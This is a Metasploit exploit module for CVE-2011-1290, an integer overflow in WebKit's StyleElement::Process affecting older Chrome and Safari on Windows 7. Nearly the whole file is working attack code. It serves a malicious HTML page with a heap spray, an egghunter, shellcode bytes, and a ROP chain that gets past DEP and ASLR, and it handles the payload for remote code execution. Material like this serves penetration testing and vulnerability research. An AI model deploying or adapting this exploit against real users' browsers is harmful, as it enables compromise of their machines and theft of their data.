##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
	include Msf::Exploit::Remote::HttpServer::HTML

# TODO: Find correct autopwn settings for Webkit
#	include Msf::Exploit::Remote::BrowserAutopwn
#	autopwn_info({
#		:ua_name => HttpClients::FF,
#		:ua_minver => "3.5",
#		:ua_maxver => "r80213",
#		:os_name => OperatingSystems::WINDOWS,
#		:javascript => true,
#		:rank => NormalRanking,
#		:vuln_test => "if (navigator.userAgent.indexOf('AppleWebKit/533+') != -1 { is_vuln = true; }",
#	})

	def initialize(info = {})
		super(update_info(info,
			'Name'			=> 'Webkit "StyleElement::Process" Integer Overflow Vulnerability',
			'Description'	=> %q{
				This module exploits an integer overflow in Webkit r80213 and earlier. This is
				used by Google Chrome < 10.0.648.133, Apple Safari < 5.0.5 and other browsers based
				on Webkit. The flaw exists in the webkit.dll, in the Webcore::StyleElement::Process
				fumction. The total length of string elements is stored in an unsigned integer, and 
				is then directly used in an allocation. By overflowing the integer with a large number
				of text nodes, an undersized allocation occurs and the resulting memcpy overwrites data
				on the heap, resulting in remote code execution.
				
				This exploit bypasses DEP & ASLR, and uses the WhitePhosphorus 'Sayonara' method to
				do so. Regardless of the unfortunate circumstances of the techniques publicity, props
				to them for putting it together.
			},
			'License'		=> MSF_LICENSE,
			'Author'		 =>
				[
					'Anonymous', # Reported to ZDI
					'Vincenzo Iozzo, Willem Pinckaers, and Ralf-Philipp Weinmann', # Used to own the Blackberry Torch 9800 at Pwn2Own 2011
					'Jon Butler <admin@securitea.net>', # Wrote MSF module
				],
			'Version'		=> '$Revision$',
			'References'	 =>
				[
					['CVE',	'2011-1290'],
					['URL',	'http://www.zerodayinitiative.com/advisories/ZDI-11-104/'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread', # graceful exit if run in separate thread
					'InitialAutoRunScript' => 'migrate -f',
				},
			'Payload'		=>
				{
					'Space'	=> 0x10000,
					'BadChars' => "\x00",
				},
			'Targets'		=>
				[
					[ 'Webkit <= r80213, Windows 7 (Requires Java)',
						{
							'Platform' => 'win',
							'Arch' => ARCH_X86,
							'Auto' => true,
						}
					],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Apr 14 2011'
			))
		
		register_options(
			[
			    OptInt.new('SpraySize', [ true, 'The size of our heapspray blocks (actual allocation is double this value)', 0x10000 ]),
				OptInt.new('SprayCount', [ true, 'Number of blocks to be sprayed', 0x4 ]),
            ], self.class
		)
		
		register_advanced_options(
			[
    			OptBool.new('SetBP', [ true, 'Set a breakpoint before payload execution', false ]),
				OptBool.new('Crash', [ true, 'Use an invalid offset to make the exploit crash (for debugging)', false ]),
			], self.class
		)
	end
	
	def on_request_uri(cli, request)

		if request.uri == get_resource() or request.uri =~ /\/$/
			print_status("#{self.refname}: Redirecting #{cli.peerhost}:#{cli.peerport}")
			redir = get_resource()
			redir << '/' if redir[-1,1] != '/'
			redir << rand_text_alphanumeric(4+rand(4))
			redir << '.html'
			send_redirect(cli, redir)
			
		elsif request.uri =~ /\.html?$/
			print_status("#{self.refname}: Sending HTML to #{cli.peerhost}:#{cli.peerport}")
			
			applet_name = rand_text_alpha(rand(100)+1)
			exp_func = rand_text_alpha(rand(100)+1)
			spray_count = datastore['SprayCount']
			spray_size = datastore['SpraySize']
			set_bp = (datastore['SetBP'] == false) ? "%u9090%u9090" : "%ucccc%ucccc"
			rop_ss = (datastore['Crash'] == false) ? "%ucdbb%u6d01" : "%u1111%u1111"
			html = <<-EOS
<html>
<head>
<applet codebase="." code="#{applet_name}.class" width=0 height=0></applet>
<script>

function #{exp_func}() {

	var str = "";
	var ovr = "";
	var payload = "";

	var styleElement = document.createElement('style');
	styleElement.setAttribute('type', 'text/css');

	payload += unescape("%u4F54%u574F");
	payload += unescape("%u4F54%u574F");
	payload += unescape("#{Rex::Text.to_unescape(regenerate_payload(cli).encoded)}");

	while (payload.length < #{spray_size}) {
		payload += unescape("%uffa0%u7f3e");
	}

	txt = document.createTextNode(payload);
	styleElement.appendChild(txt);

	// Egghunter	
	// SetBP break goes here, if chosen 
	ovr += unescape("#{set_bp}");
	ovr += unescape("%u54B8%u4F4F");
	ovr += unescape("%u8157%uF4F2");
	ovr += unescape("%uC164%u6608");
	ovr += unescape("%uCA81%u0FFF");
	ovr += unescape("%u8042%u14C2");
	ovr += unescape("%u023B%uF375");
	ovr += unescape("%u423B%u7504");
	ovr += unescape("%u83EE%u08C2");
	ovr += unescape("%u6852%uC510");
	ovr += unescape("%u7C38%u406A");
	ovr += unescape("%uFF68%uFEFF");
	ovr += unescape("%uF7FF%u241C");
	ovr += unescape("%uA152%uA140");
	ovr += unescape("%u7C37%uD0FF");
	ovr += unescape("%uFF5A%u90D2");
	
	while (ovr.length < 0x52) {
		ovr += unescape("%uffa0%u7f3e");
	}

	// Begin WP Sayonara
	ovr += unescape("%u4cc1%u7c34");
	ovr += unescape("%u10c2%u7c34");
	ovr += unescape("%u2462%u7c34");
	ovr += unescape("%uc510%u7c38"); // location to VP?
	ovr += unescape("%u5645%u7c36");
	ovr += unescape("%u5243%u7c34");
	ovr += unescape("%u8f46%u7c34");
	ovr += unescape("%u87ec%u7c34");
	ovr += unescape("%u4cc1%u7c34");
	ovr += unescape("%ufff0%ufffe"); // Size (neg'ed to 0x10000)
	ovr += unescape("%ud749%u7c34");
	ovr += unescape("%u58aa%u7c34");
	ovr += unescape("%u39fa%u7c34");
	ovr += unescape("%uffc0%uffff"); // Flag
	ovr += unescape("%u1eb1%u7c35");
	ovr += unescape("%u4648%u7c35");
	ovr += unescape("%u30ea%u7c35");
	ovr += unescape("%u4cc1%u7c34");
	ovr += unescape("%ua181%u7c37");
	ovr += unescape("%u5aeb%u7c35");
	ovr += unescape("%u8c81%u7c37");
	ovr += unescape("%u683f%u7c36");

	// Jump back to the egghunter
	ovr += unescape("%u3366%u83e4");
	ovr += unescape("%u14c4%ue4ff");

	while (ovr.length < 1014) {
		ovr += unescape("%uffa0%u7f3e"); // Should point to Padding 1 in fake header - 0x6c
	}

	ovr += unescape("%u0108%u0080"); // Flags, going with 00800108
	ovr += unescape("%u0400%u0000"); // Size
	ovr += unescape("%u0014%u7f2f"); // Memcpy src, must be a valid address
	ovr += unescape("#{rop_ss}"); // ROP Gadget - 0x6D01cdbb from awt.dll
	ovr += unescape("%uffa0%u7f3e"); // Padding

	for (var i = 0; i < 64; i++) {
		// pad to 0x10000 to keep alignment
		str += ovr;
	}

	for (var i = 0; i < ((1<<16) + 0x2); i++){
		var txt = document.createTextNode(str);
		styleElement.appendChild(txt);
	}

	document.getElementsByTagName('head')[0].appendChild(styleElement);
}

setTimeout(#{exp_func}, 10);

</script>
</head>
<body>
</body>
</html>
EOS
			send_response(cli, html, { 'Content-Type' => 'text/html' })
		end
			
		# Handle the payload
		handler(cli)
	end
end
